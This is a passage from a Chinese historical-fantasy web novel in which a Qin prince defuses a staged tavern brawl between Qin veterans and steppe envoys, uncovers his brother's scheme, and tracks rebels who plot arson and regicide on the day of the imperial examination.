望京楼下突然响起一阵喧嚣争吵声,且愈发激烈。
如同沸水般打破了街市的平静,甚至盖过了士子们的议论声。
赢子夜眉头微蹙,放下酒盏。
钟离昧立刻上前一步,低声道:“殿下,楼下似有骚乱,恐惊扰贵驾,末将下去看看?”
赢子夜微微颔首,起身道:“一同下去。”
两人一前一后走下楼梯。
只见一楼大堂已乱作一团,酒桌东倒西歪,碗碟碎了一地。
中心处,几名身材高大,穿着狼族服饰的勇士正满脸怒容,揪着一个看似瘦弱的小二厉声喝骂。
言语粗鄙难懂,夹杂着生硬的秦语词汇“赔钱!”“劣酒!”。
那小二被打得鼻青脸肿,嘴角带血,抱着头蜷缩在地上,发出痛苦的**,看上去凄惨无比。
周围围观的酒客和路人指指点点,大多面露愤慨之色,对着狼族之人怒目而视。
“蛮夷之辈,安敢在咸阳撒野!”
“欺人太甚!不过口角之争,竟下如此重手!”
“快报官!抓这些胡虏!”
群情激愤!!
钟离昧见状,剑眉倒竖,一股凛冽的杀气瞬间透体而出,大步上前便要制止。
“住手!咸阳重地,岂容尔等放肆!”
然而,他脚步刚动,却被赢子夜抬手轻轻拦了下来。
钟离昧不解地回头,却见赢子夜神色平静,目光并未完全聚焦在那场冲突的中心,反而如同冷静的猎手,锐利地扫视着整个混乱的现场。
他的视线在几个叫得最凶,拼命鼓动周围人情绪的“围观者”脸上停留片刻。
又落回那看似被打得极惨的小二身上。
“殿下?”
钟离昧低声疑问,按捺住出手的冲动。
赢子夜目光微凝,以仅有两人能听到的声音快速道:“看那几个穿灰衣,褐衣叫嚷最凶的,他们在刻意将小事闹大,挑起秦人与胡人的对立。”
“再看那小二……”
赢子夜的眼中闪过一丝洞察一切的冷光。
“他叫声凄厉,看似伤重,实则中气未散,蜷缩的姿态恰好护住了所有要害。”
“那点皮外伤,最多三日便消。”
“而且…他呼吸吐纳间,隐有内力流转的痕迹,绝非普通店小二。”
经赢子夜这一点拨,钟离昧立刻凝神细察,果然发现了蹊跷!!
那几个鼓动者更是眼神闪烁,并非纯粹的义愤,更像是在执行某种指令!
而那小二,细看之下,其“痛苦”的表情确实有些浮夸。
身体的细微反应也绝非毫无反抗之力的弱者!
就在这时,冲突再次升级!
几名围观的,穿着旧秦军服饰的老秦人早已怒不可遏,听到那些鼓动性的话语,血性彻底被激发出来。
“直娘贼!欺负到我老秦人头上了!”
“兄弟们,揍这帮狼崽子!”
一个脸上带着刀疤的老兵怒吼一声,率先冲了上去。
其他几名老秦人也怒吼着加入战团。
他们虽年纪已长,不如狼族勇士年轻力壮,但一动起手来,章法立现!
进退有据,配合默契,专攻关节要害。
显然是经历过战阵洗礼的老兵!
狼族勇士猝不及防,仗着蛮力胡乱挥拳,却往往打空
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。
反而被老秦人刁钻的拳脚和随手抄起的板凳、酒壶打得嗷嗷直叫,场面顿时更加混乱。
“殿下!”
钟离昧再次**,他担心这些老兵年迈体衰,久战之下会吃亏。
赢子夜却依旧摇头,目光紧盯着战团,低声道:“不必。”
“你看他们步伐配合,攻守交替,虽无年轻气力,却经验老辣,那几个狼族空有蛮力,不是对手。”
果不其然。
不过几个照面,那几名狼族勇士便被老兵们用熟练的擒拿格斗技巧纷纷撂倒在地,痛呼不已!
眼看老兵们怒气未消,还要上前追打,赢子夜知道不能再任由事态发展下去了。
他向前一步,声音并不如何高昂,却带着一种奇异,穿透所有嘈杂的威严,清晰地在每个人耳边响起!
“够了!都住手!”
混乱的场面为之一静。
所有人的目光都集中到了这位突然发声,气度不凡的玄衣公子身上。
那几名被打倒的狼族勇士挣扎着爬起来,鼻青脸肿,觉得大失颜面,眼中冒出凶光。
竟不知死活地还想冲向那些老兵!
赢子夜眼神一冷,甚至未见他有任何明显动作,一股无形却磅礴浩瀚的内力威压如同山岳般骤然降临,精准地笼罩在那几名狼族勇士身上!!
几人顿时如遭重击。
只觉得呼吸一窒,浑身骨骼仿佛都在**。
那股刚刚提起的凶悍气焰瞬间被碾得粉碎!
他们双腿一软,竟噗通噗通全都跪倒在地,脸上充满了惊骇与难以置信!
他们这才明白,眼前这个看似文雅的年轻人,是何等可怕的存在!
“你……你们秦人合伙欺辱我们!”
为首的狼族勇士强忍着恐惧,用生硬的秦语嘶声喊道,试图占据道德高地。
“我们要禀报大皇帝陛下!禀报右贤王!”
赢子夜淡漠地看着他们,如同看着几只喧嚣的蝼蚁,声音冰冷而不容置疑。
“是非对错,自有秦律公断,非凭你一言我一语。”
“当街斗殴,扰乱秩序,触犯秦法,皆需受罚。”
他目光扫过那几名虽然停了手却依旧愤愤不平的老兵,以及地上那个眼神闪烁的小二,最后落在那几个眼神躲闪的鼓动者身上,朗声道:
“所有参与动手斗殴者,无论秦胡,全部拿下,移送廷尉府!”
“依律审讯,严惩不贷!!”
早已闻讯赶来的咸阳巡防卫兵立刻上前,如狼似虎地将那几名狼族勇士、几名老兵以及那个店小二全部锁拿起来。
“公子明鉴!”
老兵们虽然被锁,却并无太多怨言,反而觉得这位公子处事公正。
狼族勇士则兀自叫嚷不服,却被兵士强行押走。
那小二则低垂着头,看不清表情。
人群渐渐散去,一场风波看似平息。
赢子夜对钟离昧使了个眼色,低声道:“刚才人群中叫嚷最凶,刻意煽动的那三人,还有这个店小二……”
“去查清楚他们的底细。”
“我要知道,他们背后到底是谁。”
他的直觉告诉他,这场看似偶然的冲突,背后绝不像表面那么简单。
那些鼓动者,还有那个身怀内力却伪装受害的小二,更像是精心安排的棋子。
目的就是为了在科举前夕,制造秦人与胡人的尖锐矛盾!
“诺!”
钟离昧眼中寒光一闪,立刻领命,身影迅速消失在人群之中。
第286章 祸水东引,好一个毒计!
廷尉府,森严肃穆。
公堂之上,“明镜高悬”的匾额高挂。
两旁衙役手持兵刃,面无表情,散发着冰冷的威压。
廷尉正襟危坐,面色凝重。
而赢子夜则坐在旁听一侧的座榻之上,神色平静,指尖无意识地轻叩着扶手,仿佛只是来旁听一桩寻常案件。
堂下,涉案人员跪了一地。
几名狼族勇士虽然被暂时卸去了枷锁,但依旧鼻青脸肿,脸上写满了不服与怨愤。
那几名老秦人老兵则挺直了腰板,虽跪着,却依旧带着军人的硬气。
唯独那个店小二,缩着肩膀,显得格外“可怜”。
时不时发出细微的抽泣声。
审讯过程按部就班。
廷尉详细询问了冲突经过,各方陈述与在酒楼时大同小异。
店小二不慎将酒水洒在狼族勇士身上,道歉时言语或许有些不当,双方发生口角。
狼族勇士先动了手,店小二“无力反抗”被打。
随后老秦人看不过眼加入战团……
人证物证俱在,案情清晰明了。
廷尉沉吟片刻,一拍惊堂木,声音洪亮地宣判。
“依《秦律·杂律》,当街斗殴,扰乱市肆,伤及人身,罪皆当罚!”
“念尔等初犯,且事出有因,判!”
“涉事狼族部众,罚金百锾,杖责二十!”
“涉事秦人,罚金五十锾,杖责十下!”
“店小二,罚金二十锾!”
“即刻执行!”
判决一下,那几名狼族勇士顿时炸了锅!
“不公平!”
为首的狼族勇士猛地抬起头,双目赤红,用生硬的秦语怒吼道:“是他们先挑衅!”
“是他们先动手**!”
“为什么我们罚得最重?!”
“你们秦人就是一伙的!”
“欺压我们!!”
其他狼族人也纷纷鼓噪起来,情绪激动,甚至试图站起身反抗,被两旁的衙役用兵刃死死压住。
“肃静!”
“公堂之上,岂容喧哗!”
廷尉再次猛拍惊堂木,脸色铁青。
然而,狼族人的怨气并未平息,反而叫嚷着。
“我们要见大皇帝陛下!我们要让右贤王评理!秦律不公!”
就在堂内一片混乱之际,一直沉默不语的赢子夜,缓缓开口了。
他的声音并不大,却带着一种奇异的穿透力,瞬间压过了所有的嘈杂。
“见陛下?评理?”
赢子夜唇角勾起一抹冰冷的弧度,那笑容里没有丝毫温度,只有令人心悸的漠然。
“可以。”
“本公子现在就可以带你们去章台宫。”
他顿了顿,目光如同两道冰锥,刺向那几个叫嚷的狼族勇士。
“但你们想清楚,到了陛下面前,此事便不再是简单的街头斗殴。”
“尔等身为使臣护卫,不遵秦地法度,滋事挑衅于前,咆哮公堂于后,视帝国威严如无物…这该当何罪?”
他的声音陡然转厉,带着铁血般的杀意!
“按律,当街持械斗殴,挑衅官署者,罪加三等,可判斩刑!”
“你们今日未曾动兵刃,已是万幸!”
“区区杖责罚金,已是廷尉依律从轻发落!”
“你们应该庆幸……”
赢子夜缓缓站起身,玄衣无风自动!
一股磅礴的,混合着沙场煞气与帝王威严的恐怖压力瞬间笼罩整个公堂!
让那些狼族勇士如同被无形之手扼住了喉咙!
呼吸骤停,脸色煞白!
“只是挨几板子,破点小财。”
赢子夜的声音如同来自九幽寒狱,字字诛心。
“若再不知进退,执意要将小事闹大……”
“本公子不介意,用你们的项上人头,来让你们彻底明白,什么是大秦的律法,什么是…帝国的威严!!”
死寂!
绝对的死寂!
公堂之上,仿佛连空气都被冻结了。
那几个狼族勇士脸上的愤怒和不服彻底消失,只剩下无边的恐惧和骇然!
他们从赢子夜的眼神和话语中,感受到了毫不掩饰,真实的杀意!
他们毫不怀疑,如果再闹下去,这位年轻的公子真的会下令砍了他们的脑袋!
冷汗瞬间浸透了他们的后背。
什么委屈,什么不公,在死亡的威胁面前,都显得微不足道了。
为首的狼族勇士喉咙滚动了一下,艰难地咽了口唾沫,最终深深地低下头去,用颤抖的声音道。
“我们…认罚。”
其他几人也如同被抽走了脊梁骨,瘫软在地,再不敢有半句怨言。
那几名秦人老兵见状,眼中闪过一丝快意,也纷纷叩首。
“草民等认罚!”
赢子夜冷哼一声,那股恐怖的威压骤然消失。
他看也不看那些瘫软的狼族之人,对廷尉微微颔首,转身便向外走去。
……
廷尉府外的风波,看似以雷霆手段平息。
然而赢子夜心中的疑虑却并未消散。
他回到府中书房不久,门外便传来了熟悉的脚步声。
“进。”
钟离昧推门而入,脸色凝重,甚至带着一丝后怕的寒意。
他快步走到赢子夜面前,抱拳沉声道:“殿下,查清楚了!”
赢子夜抬眸,目光平静无波。
“说。”
“经暗河核查,酒楼中那几个刻意煽动人群,挑起对立的鼓噪者,其身份均已查明。”
钟离昧的声音压得很低,却字字清晰。
“他们明面上的身份是城中几家商铺的伙计或游侠,但深挖其背景及资金往来,最终都指向同一个地方——”
“十八公子,胡亥公子的府邸!”
“这些人皆是其门下暗中笼络的门客!”
赢子夜敲击桌面的手指微微一顿,眼中寒芒骤盛,但并未打断。
钟离昧继续禀报,语气愈发森冷。
“不仅如此,暗河通过特殊渠道,调阅了近日咸阳各处的监察记录发现,那几名**的狼族勇士,在冲突发生的前两日,曾秘密与胡亥公子府上的一名外事管事,在城西一处偏僻的酒肆有过接触!”
“虽然谈话内容不得而知,但时间点如此巧合,绝非偶然!”
话音落下,书房内陷入一片死寂。
烛火噼啪作响,映照着赢子夜那张瞬间冷峻如冰的脸庞。
所有的线索在此刻串联成一条清晰
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的毒计!
“好…好一个胡亥,好一个一石二鸟的毒计!”
赢子夜的声音低沉得可怕,仿佛蕴含着即将爆发的火山。
他缓缓站起身,踱步到窗前,望着窗外沉沉的夜色,眼中闪烁着洞悉一切的冷光。
“我原以为,他只是想借狼族之手,在科举前给本公子制造些麻烦,抹黑我的名声。”
赢子夜的声音带着一种冰冷的嘲讽。
“现在看来,本公子还是小瞧了他的狠毒和野心!”
他猛地转过身,目光锐利如刀,射向钟离昧。
“他的真正目的,从来就不是简单的街头冲突!”
“他是要借此,将‘挑起秦与狼族矛盾’甚至‘引发边衅战火’的滔天罪名,扣死在本公子的头上!”
钟离昧闻言,倒吸一口凉气,瞬间明白了其中的凶险!
若当时殿下未能及时察觉,或者处置稍有不当。
比如当众偏袒秦人,重罚狼族,甚至只是任由冲突扩大……
那么消息传到狼族首领乃至北疆各部耳中,会变成什么样?
那必然是大秦六公子纵容甚至指使秦人,无故欺辱,毒打狼族使者!
是对整个部落联盟的羞辱和挑衅!
届时,刚刚缓和的北疆局势将瞬间破裂,战火重燃!
而陛下震怒之下,首要追责的,便是当时在场且“处置不当”的赢子夜!
胡亥便可借此一举将赢子夜打入万劫不复之地!
好狠的计!
好毒的心!
“但他千算万算,却算漏了一点。”
赢子夜的声音恢复了冷静,却带着一种掌控全局的漠然。
“他没想到本公子会将此事直接按律交由廷尉府公断!”
“廷尉府,代表的不是本公子,而是大秦的律法,是帝国的意志!”
赢子夜嘴角勾起一抹冰冷的弧度。
“经廷尉审讯判决,此事便成了官方定性的普通治安案件。”
“无论罚金还是杖责,皆依秦律而行,无可指摘。”
“如此一来,性质就完全不同了。”
赢子夜眼中闪烁着睿智的光芒。
“狼族吃了亏,也只能认栽,因为他们理亏在先,且判决出自帝国法司,他们若再纠缠,便是质疑整个大秦的律法尊严,后果他们承担不起!”
“而胡亥……”
赢子夜冷笑一声。
“他更不敢再借此做文章。”
“因为一旦深究,他暗中勾结狼族,煽动**的行径便有暴露的风险!”
“这件事,现在变成了一个谁都不愿再提起,再扩大的闷亏!”
“他这哑巴亏,吃定了!”
钟离昧听完赢子夜抽丝剥茧的分析,背后已被冷汗浸湿。
他这才完全意识到,白日里那场看似普通的冲突,其下竟然隐藏着如此凶险的**漩涡和杀机!
若非殿下洞察先机,处置得当,后果不堪设想!
“殿下明察秋毫!末将佩服!”
钟离昧由衷地躬身道,心中对赢子夜的敬畏达到了顶点。
赢子夜摆了摆手,目光再次投向窗外,变得幽深难测。
“胡亥,既然你出手了,那便别怪为兄…接下来不留情面了。”
第287章 一切,皆指向科举!
十八公子府邸。
暖阁内,熏香袅袅,却驱不散一股冰冷的失败和戾气。
一名心腹垂首躬身,低声将廷尉府的判决结果以及赢子夜强势压服狼族使者的过程,详细禀报给了软榻上的胡亥。
胡亥听完,脸上那惯有轻浮玩味的笑容,早已消失得无影无踪。
取而代之的是一种阴沉的冰冷。
他并没有暴怒,只是发出一阵极其轻微却又令人毛骨悚然的冷笑。
“呵…呵呵,我这位六哥,还真是……谨慎得让人讨厌啊。”
他声音尖细,带着浓浓的讥讽和不甘。
“居然直接把事情捅到了廷尉府?”
“倒是撇得干干净净!”
他原本完美的计划。
利用冲突将赢子夜拖下水,最好能激起狼族暴怒,甚至引发边境摩擦,再将所有责任和皇帝陛下的怒火都引到赢子夜头上。
竟然就这般被对方以最“合规”的方式轻易化解了。
赢子夜没有给他留下任何借题发挥的破绽。
经廷尉府一审,此事便成了纯粹的治安案件,再想往上牵扯,难如登天。
胡亥懒洋洋地挥了挥手,语气中带着一丝索然无味的烦躁。
“罢了。”
“既然这步棋没把他扯进来,再弄下去,反而容易把我们自己搭进去。”
“指望借那些草原蛮子的手打压我六哥,看来是没可能了。”
他从软榻上站起身,走到窗边,望着公子府的方向,眼中闪过一丝极其隐晦的忌惮。
但更多的,却是被激发起来的,更加炽烈的怨毒和竞争之心。
“都收了吧。”
他淡淡地吩咐道:“那些废物门客,让他们最近都安分点,别再去撩拨那些蛮子了。”
“那……接下来的安排?”
心腹小心翼翼地问道。
胡亥转过身,脸上重新浮现出那种看似天真却又残忍的笑容,只是这次,笑容里多了几分认真和狠厉。
“接下来?”
“自然是专心准备我们自己的大事了。”
“科举……这才是真正的重头戏。”
“我可是给我那好六哥,准备了一份……天大的‘惊喜’呢。”
“吩咐下去,所有计划,按原定方案进行。”
“这一次,我要让他在天下人面前,摔得粉身碎骨!”
……
咸阳城南。
悦来客栈。
夜色已深,万籁俱寂。
唯有打更人的梆子声偶尔从遥远的街巷传来,更衬得这间普通客房内的灯火如同鬼火般幽秘。
房门被无声地推开又合拢。
一道青衫身影如同融入夜色的幽魂,悄无声息地进入房内。
正是乔装改扮的张良!
他依旧是那副温润儒雅的模样,但眉宇间却笼罩着一层化不开的凝重与决绝。
房内,早已有一道魁梧如山,散发着浓烈霸戾之气的身影在等待!
项羽背对着门口,正望着窗外沉沉的夜空,听到动静,缓缓转过身。
多日的潜伏并未磨去他的锐气,反而像是一头被压抑许久的困兽,眼神中充满了迫不及待的毁灭欲望。
“你来了。”
项羽的声音低沉沙哑,带着一丝压抑的激动。
张良微微颔首,目光扫过房间,确认安全后,才低声道:“项少主,时机将至,计划需最终落定。”
项羽眼中精光爆射,一步踏前,几乎能感受到他身上散发出的灼热战意。
“先生请讲!”
“项籍和麾下儿郎早已等得不耐烦了!”
“何时动手?”
张良走到桌边,指尖蘸着杯中冷水,在桌面上迅速勾勒出咸阳城的简略轮廓,以及科举考院、咸阳宫等重要区域的相对位置。
“科举之日,便是最佳时机。”
他的声音冷静得近乎冷酷。
“届时,咸阳注意力皆集中于考院,守卫看似森严,实则因其庞大,兵力必然分散,此乃其一。”
他的手指点向城中几处看似不起眼的区域,以及考院外围的一些偏僻角落。
“其二,我已通过多方渠道,暗中购入了大量火油,并已秘密运送至这些地点附近。”
“需要项少主派出绝对可靠的心腹,于行动前夜,将这些火油悄然埋设于我所标注的这些位置。”
项羽看着桌上那一个个代表着死亡与混乱的标记,呼吸不由粗重起来,脸上浮现出残忍而兴奋的笑容。
“火攻?”
“好!烧得好!”
“让整个咸阳都陷入火海!”
“让赢子夜的科举变成一场笑话!”
“不止如此。”
张良抬起头,目光锐利如剑,直刺项羽。
“火起之后,城中必然大乱!”
“守军、衙役、乃至黑冰台的部分力量,必被吸引前往救火,维持秩序,保护士子。”
“届时,咸阳宫及其周边区域的防卫,将会出现前所未有的……空虚!”
他的手指,重重地点在了代表咸阳宫的位置上!
项羽的瞳孔骤然收缩,瞬间明白了张良的全部意图!
他的心脏剧烈地跳动起来,不是因为恐惧,而是因为极致的疯狂与渴望!
“先生的意思是……趁乱……”
项羽的声音因激动而微微颤抖。
“直取咸阳宫!”
张良斩钉截铁,语气中带着一种孤注一掷的疯狂。
“项少主亲率项氏最精锐的死士,直扑皇宫!”
“宫内亦有我早年布下的些许暗桩可为内应!”
“目标只有一个——”
张良的目光变得无比幽深冰冷,吐出两个字。
“嬴政!”
弑帝!!!
这两个字如同惊雷,在寂静的房间里炸响!
纵然是胆大包天的项羽,此刻也不由得感到一阵心悸,但随即便被更强烈的复仇火焰和滔天野心所吞没!
“好!”
“好!”
“好!”
项羽连说三个好字,拳头紧握,骨节发出咯咯声响。
“赢政老儿!”
“项籍必亲手取你首级,告慰我项氏一族在天之灵!!”
“此事关乎成败,务必隐秘,绝不可提前泄露半分。”
张良郑重告诫:“埋设火油之人,需是死士。”
“行动之前,所有人潜伏待命,如同磐石。”
“先生放心!”
项羽眼中燃烧着嗜血的光芒。
“我知道轻重!”
“这一次,定要让暴秦,天翻地覆!!”
两人又低声商议了一些细节接头方式,张良将埋设火油的具体方位图交给项羽。
最后,张良深深看了项羽一眼。
“成败,在此一举。”
“望少主……好自为之。”
说完,他不再多留,如同来时一样,悄无声息地融入门外黑暗的走廊,消失不见。
房间内,只剩下项羽一人,他紧紧攥着那张轻飘飘却重如山河的绢布,望
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着窗外咸阳宫的方向,眼中闪烁着足以焚毁一切的疯狂火焰。
夜,更深沉了。
……
六公子府书房。
夜明珠清冷的光辉仿佛永远无法驱散此地的深沉。
赢子夜刚刚听完关于胡亥阴谋的禀报,指尖尚在无意识地敲击着桌面,消化着那份来自兄弟的寒意。
恰在此时。
阴影再次扭动,另一名暗河成员悄无声息地出现,带来了关于另一条线的消息。
“主上。”
“张良有动静了。”
来人的声音压得极低,却字字清晰。
“半个时辰前,他悄然离开了悦来客栈,去见了项羽。”
“两人密谈近一炷香的时间。”
“之后,张良又去了一家名为‘隆昌’的杂货铺,表面购买笔墨,实则与掌柜有短暂接触。”
“经查,那家隆昌杂货铺,正是此前大量购入火油的七家商铺之一!”
赢子夜敲击桌面的手指骤然停顿。
张良见了项羽,又去见了火油铺的老板……
这两条线,终于被张良亲自串联起来了!
虽然无法得知密谈的具体内容,但结合之前截获的密信,其目的已然呼之欲出——
他们要在科举之日,纵火制造混乱!
赢子夜眼中寒光流转,却没有立刻下令抓人。
他沉吟片刻,声音冷静得可怕。
“继续盯死张良和项羽的所有动向,尤其是他们接触过的每一个人,去过的每一个地方!”
“但暂时不要动手。”
他目光锐利如鹰。
“等另一条大鱼也忍不住游出来。”
“刘季……他绝不会错过这种‘盛会’。”
“诺!”
暗河成员领命,随即又补充禀报。
“此外,遵照主上吩咐,严密监控北疆各部使臣。”
“自廷尉府事件后,他们明显安生了许多,大多待在驿馆内,或是参加一些由典客署安排的,无关痛痒的观光活动,言行举止也收敛了许多,未见异常举动。”
赢子夜闻言,微微颔首。
廷尉府那场杀鸡儆猴的戏码,看来确实起到了效果。
至少表面上,这些胡人暂时被帝国的律法和武力震慑住了。
“表面安生,不代表内心臣服。”
赢子夜却并未放松警惕,语气依旧冰冷。
“越是平静,越可能暗藏祸心。”
“或许他们只是在等待更好的时机。”
“继续盯住,一刻也不能放松!”
“尤其是他们与朝中任何人的秘密接触,我要第一时间知道。”
“属下明白!
绝不敢有丝毫懈怠!”
暗河成员重重抱拳,身影如同融入黑暗般,悄然退去。
书房内再次只剩下赢子夜一人。
他缓缓走到那幅巨大的咸阳城防图前,目光幽深地扫过上面的每一个街区,每一处建筑。
张良的火油,项羽的刀,胡亥的阴谋,北疆的使臣……
还有那条尚未浮出水面的老狐狸刘季!
所有的一切,都如同汇向漩涡的暗流,最终的目标,都指向了同一个时间,同一个地点——
科举之日!!
赢子夜的指尖,轻轻点在了地图上那代表考院和咸阳宫的位置。
他的嘴角,缓缓勾起一抹冰冷而自信的弧度。
网,已经撒下。
现在,只等着所有的鱼儿,都游进这为他精心准备的…天罗地网之中。
第288章 山雨欲来风满楼!
半月时光。
弹指而过。
咸阳宫,麒麟殿。
晨光透过高窗,将殿堂映照得庄严肃穆。
百官肃立,气氛却与往日略有不同,少了几分压抑,多了几分难以言喻的期待与紧绷。
空气中仿佛都弥漫着一股无形的,来自宫墙之外,汇聚了天下士子希望的文气。
御阶之上。
嬴政玄袍冕旒,威仪如山海,目光透过珠帘,扫视着下方的臣子。
丞相李斯手持玉笏,稳步出列。
他的声音洪亮而沉稳,回荡在寂静的大殿之中,汇报着科举最后阶段的筹备事宜。
每一项都关乎这场帝国盛事的成败。
“启奏陛下。”
李斯微微躬身,条理分明地奏禀。
“其一,各地郡县取中之士子,共一万三千七百余人,已悉数抵达咸阳,登记造册完毕。”
“为显陛下天恩,使寒门士子能安心应试,臣已会同治粟内史府、将作少府,抽调部分钱粮,对其中生活确有困顿者,予以适当补贴,助其度过考期。”
此言一出,殿中不少出身寒微或体恤民情的官员皆微微颔首,面露赞许之色。
此举无疑能收买大量寒门士子之心,彰显帝国仁德。
嬴政端坐龙榻,并未表态,只是静静听着。
李斯继续道:“其二,考院兴建已全面竣工。”
“期间,依殿下前议,允许多名贫寒士子以工代赈,参与些力所能及之事。”
“此举不仅使其挣得了所需盘缠,更让其得以提前感受考院之恢弘肃穆,于安抚士子情绪,减少陌生惶恐之感,大有裨益。”
这巧妙的设计,既解决了实际问题,又潜移默化地进行了心理疏导,听得嬴政似乎几不可察地点了点头。
“其三,”
李斯的声音提高了几分,带着十足的把握。
“考试为期三日,其间数万士子之饮食、饮水,夜间照明所需灯烛火油,均已备置充足!”
“臣已责令专人反复查验,绝无短缺变质之虑,并可随时补充。”
“各考场之茅厕,盥洗之处亦安排妥当,务求秩序井然,不出纰漏。”
这是最繁琐,也最易出错的细节,李斯汇报得格外仔细。
“其四,亦是重中之重。”
李斯神色变得无比凝重。
“所有命题、抄录、封存流程已全部完成。”
“三场考试之试卷,均已按最高密级,以火漆、秘印双重密封,存入特制玄铁箱内,由黑冰台、卫尉府、暗河三方共同派高手看守,绝无**可能!”
“阅卷官亦已入驻指定别院,与外界彻底隔绝。”
听到此处,嬴政终于缓缓开口,声音透过珠帘,平稳却带着重如山岳的压力。
“嗯。”
“做得不错。”
他顿了顿,目光似乎扫过李斯,又扫过垂首恭立的赢子夜,以及殿内所有官员,声音陡然变得无比严肃,带着一种不容置疑的决绝。
“科举取士,乃帝国首创,关乎国本,亦关乎天下士人之心!”
“此番一举一动,皆在天下人注视之下!”
“朕,要看到的是一场公正、严明、有序、足以彰显大秦气度与实力的盛会!”
他的声音在大殿中回荡,每一个字都如同敲击在百官的心头。
“尔等需谨记,凡与此事相关者,无论官职大小,务必竭尽全力,精益求精!”
“绝不容许出现任何差错,任何舞弊,任何有损帝国颜面之事!”
“若有**,徇私枉法者……”
嬴政没有说完,但那骤然变得冰冷如实质的杀意,已让殿内温度骤降!!
所有官员都不由自主地屏住了呼吸,后背沁出冷汗!
“臣等谨遵陛下教诲!”
“臣等必竭尽全力,万死不辞!”
以李斯为首,文武百官纷纷躬身应诺,声音整齐划一,带着前所未有的郑重。
嬴政微微颔首,不再多言。
李斯等人领命,心中那根弦绷得更紧了。
他们知道,陛下这番话绝非虚言。
这场科举,只能成功,不能失败。
任何一点微小的失误,都可能引来雷霆之怒。
朝会散去,百官怀着各种复杂的心情走出麒麟殿。
咸阳城的上空,仿佛也因为这场即将到来的大典,而凝聚起越来越浓,令人窒息的紧张与期待。
山雨欲来风满楼。
而这场“雨”,关乎着帝国的未来,也关乎着无数人的命运!
……
退朝的钟声余韵未绝,百官如同潮水般从麒麟殿中涌出。
李斯并未像往常一样径直返回丞相府,而是快步追上了走在前方的赢子夜。
“殿下,请留步。”
李斯的声音压得较低,透着公务之外的凝重。
赢子夜闻声停下脚步,转身看向这位今日在朝堂上备受压力的丞相,神色平静。
“丞相还有何事?”
李斯从宽大的袖袍中取出一份不算太厚,却显得格外沉重的绢帛名册,双手呈上。
他的脸色严肃,低声道:“殿下,此乃黑冰台近日所查,陛下命人交给臣的。”
“其上所列,是部分自入咸阳以来,行为‘活跃’的士子名录。”
赢子夜目光微动,
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接过名册,并未立刻打开,只是看着李斯。
李斯继续解释道:“这些士子,或多次携礼拜访朝中重臣府邸,或与其他皇子门下走动频繁……”
“其心其行,恐非专注于科举本身。”
“陛下之意,是让臣与殿下知晓此事,早做提防。”
赢子夜这才缓缓展开名册,目光快速扫过上面一个个名字及其背后标注的拜访记录,接触对象。
他的脸上没有任何表情变化,唯有眼底深处掠过一丝冰冷的了然。
这些名字中,有些是地方豪族子弟,有些是旧六国遗贵后裔。
他们显然并不满足于仅仅通过考试来获取功名。
而是试图用更“便捷”的方式,提前铺路。
合上名册,赢子夜的声音平淡无波,却带着一种不容置疑的铁血意味。
“科举之制,旨在唯才是举,打破陈规。”
“父皇将此重任交予你我,便是要看到一场绝对公正的选拔。”
他抬眼,目光锐利地看向李斯。
“他们若真有经天纬地之才,能凭自身学问堂堂正正考入万世书院,为帝国效力,本公子乐见其成,绝不因他们拜访过谁而另眼相看。”
话锋陡然一转,语气瞬间变得森寒刺骨。
“然,若有人企图借此机会,行钻营苟且之事,妄想以钱财,人情玷污科举清名,走那歪门邪道……”
赢子夜将名册递还给李斯,每一个字都清晰冰冷,带着凛冽的杀意。
“那便是自寻死路!”
“丞相,将此名册备份,交由暗河与黑冰台共同监控。”
“科举之后,若榜上有名者,皆凭真才实学,此事便作罢。”
“若有无才无德,却因钻营而妄图窃据功名者……”
他顿了顿,吐出四个字。
“杀一儆百!”
李斯接过名册,手心竟感到一丝沉甸甸的寒意。
他立刻躬身,神色无比肃穆。
“臣,领旨!”
“定当严密监控,绝不容许此等蠹虫败坏科举大事!”
他深知,赢子夜这番话绝非戏言。
这位公子,对于维护科举的公正性,有着超乎寻常的决心和冷酷手段。
而这份名册,此刻已不仅仅是一份名单,更是一道催命符的前奏。
赢子夜微微颔首,不再多言,转身离去。
玄色衣袍在晨光中拂动,带起一丝令人心悸的冷冽气息。
李斯站在原地,看着赢子夜远去的背影,又低头看了看手中的名册,深吸了一口冰冷的空气。
接下来的日子,咸阳这潭水,恐怕要掀起真正的腥风血雨了!
第289章 他们这是要以天下学子性命为引啊
接下来的数日。
赢子夜几乎将全部精力都投入到了对考院的最后巡查之中。
他并未因筹备看似万全而掉以轻心。
反而带着李斯、萧何、章邯以及一众精通建筑、防火、防弊的官吏,如同梳篦般一遍又一遍地梳理着考院的每一个角落。
从主体宏大殿堂的梁柱结构稳固性,到数以千计考舍的采光通风。
从夜间照明灯盏的摆放位置与燃油储备,到防火用的水缸沙土分布是否合理便捷。
甚至对每一处通道的宽度,茅厕的距离与清洁都提出了苛刻的要求。
“此处灯台离帷幔太近,移开五尺!”
“水缸需每日检查,确保满盈,若发现有空缸,值守官吏一律重罚!”
“所有考舍重新检查,确保无任何夹带可藏匿的死角!”
“试卷转运路线再演练三次,沿途所有门窗需有专人把守!”
赢子夜的声音冷静而清晰,不断下达着指令。
他的严谨甚至到了近乎苛刻的地步,让随行官员们神经紧绷,汗流浃背。
却也无人敢有丝毫怨言!
因为他们深知,任何一点微小的疏忽,都可能酿成无法挽回的大错。
直至夜幕彻底降临,华灯初上。
赢子夜才返回府邸。
书房内,烛火通明。
一名暗河成员已静候多时。
见赢子夜归来,立刻上前,将一份标注得密密麻麻的咸阳城防图铺在案上。
“主上,项羽等人的行动轨迹已基本摸清。”
“这是他们这几日暗中埋设火油的具体位置。”
暗河成员指尖点向地图上一个个被红圈标记的地点。
赢子夜凝神看去,目光骤然锐利如刀。
那些红圈,大多集中在考院的外围区域,一些偏僻的巷道、废弃的民宅地基下,甚至有几处……
竟然标记在了考院内部一些相对隐蔽的辅助用房附近!
“考院内部?”
赢子夜的声音瞬间冰冷。
“他们是何时,如何将火油埋进去的?”
建造期间虽有工人进出,但管理极其严格,物料进出皆有登记。
能在考院内部埋设火油,绝非易事!
暗河成员低头道:“时间应在深夜,利用巡逻间隙。”
“至于如何带入……仍在核查。”
“但能如此精准地避开巡逻且找到这些隐蔽地点,其内部必然有人接应!”
赢子夜眼中寒光暴涨,果然如此!
他立刻追问。
“刘季呢?”
“可曾发现他的踪迹?”
“回主上,依旧未曾发现刘季及其核心党羽的踪迹。”
“此人如同蒸发了一般。”
暗河成员的语气带着一丝挫败。
赢子夜闻言,非但没有失望,嘴角反而勾起一抹冰冷的,预料之中的弧度。
“蒸发?”
“不,他一定就在咸阳。”
